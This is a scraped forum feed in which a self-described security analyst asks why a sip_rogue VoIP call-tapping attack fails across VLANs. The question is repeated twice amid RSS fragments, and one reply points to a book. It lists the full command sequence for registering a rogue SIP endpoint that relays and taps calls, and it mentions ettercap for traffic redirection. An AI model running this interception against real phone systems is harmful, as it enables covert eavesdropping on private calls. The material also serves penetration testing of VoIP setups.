I need help I work as sec analyst for a notable company in my country. I'm currently in the activity of assessing VOIP setup. I'm using Application-Level Interception Techniques to test the setup weakness. The tool i'm using to conduct interception level attack is sip_rogue. Sip_rogue is included in bt4. The attack allows you as attacker to listen the conversation occurring between sip phones. The commands are :- sip_rogue telnet localhost 6060 Connection 0 create sipudpport port create sipdispatcher disp create sipregistrarconnector reg to 10.1.101.2:5060 with the domain 10.1.101.2 create rtphandler rtp create sipendpoint hacker issue hacker accept calls issue hacker relay calls to sip:3500@10.1.100.35 issue hacker tap calls to sip:4000@10.1.100.40 (the attacker) In the original attack mentioned in hacking exposed VOIP: voice over IP security secret and solution. The victim and the attacker in on the same vlan as proxy server but in my case its different VLAN. As i pick the fone (ext 4000) to listen on the conversation i just get the dial tone. I'm using ettercap to direct the traffic from the victim ip phone to bt4 machine running sip_rogue application. I hope i can be helped with. Thanks http://sla.ckers.org/forum/read.php?25,42156,42156#msg-42156 Wed, 22 May 2013 05:23:47 -0500 Phorum 5.2.15a http://sla.ckers.org/forum/read.php?25,42156,42162#msg-42162 http://sla.ckers.org/forum/read.php?25,42156,42162#msg-42162
Scroll to page 74 and onwards, it goes a little deeper.]]> Skyphire Mobile Devices Fri, 13 Jan 2012 20:11:18 -0600 http://sla.ckers.org/forum/read.php?25,42156,42156#msg-42156 http://sla.ckers.org/forum/read.php?25,42156,42156#msg-42156
sip_rogue
telnet localhost 6060
Connection 0
create sipudpport port
create sipdispatcher disp
create sipregistrarconnector reg to 10.1.101.2:5060 with the domain
10.1.101.2
create rtphandler rtp
create sipendpoint hacker
issue hacker accept calls
issue hacker relay calls to sip:3500@10.1.100.35
issue hacker tap calls to sip:4000@10.1.100.40 (the attacker)

In the original attack mentioned in hacking exposed VOIP: voice over IP security secret and solution. The victim and the attacker in on the same vlan as proxy server but in my case its different VLAN. As i pick the fone (ext 4000) to listen on the conversation i just get the dial tone. I'm using ettercap to direct the traffic from the victim ip phone to bt4 machine running sip_rogue application.

I hope i can be helped with. Thanks]]> lazer Mobile Devices Fri, 13 Jan 2012 12:26:41 -0600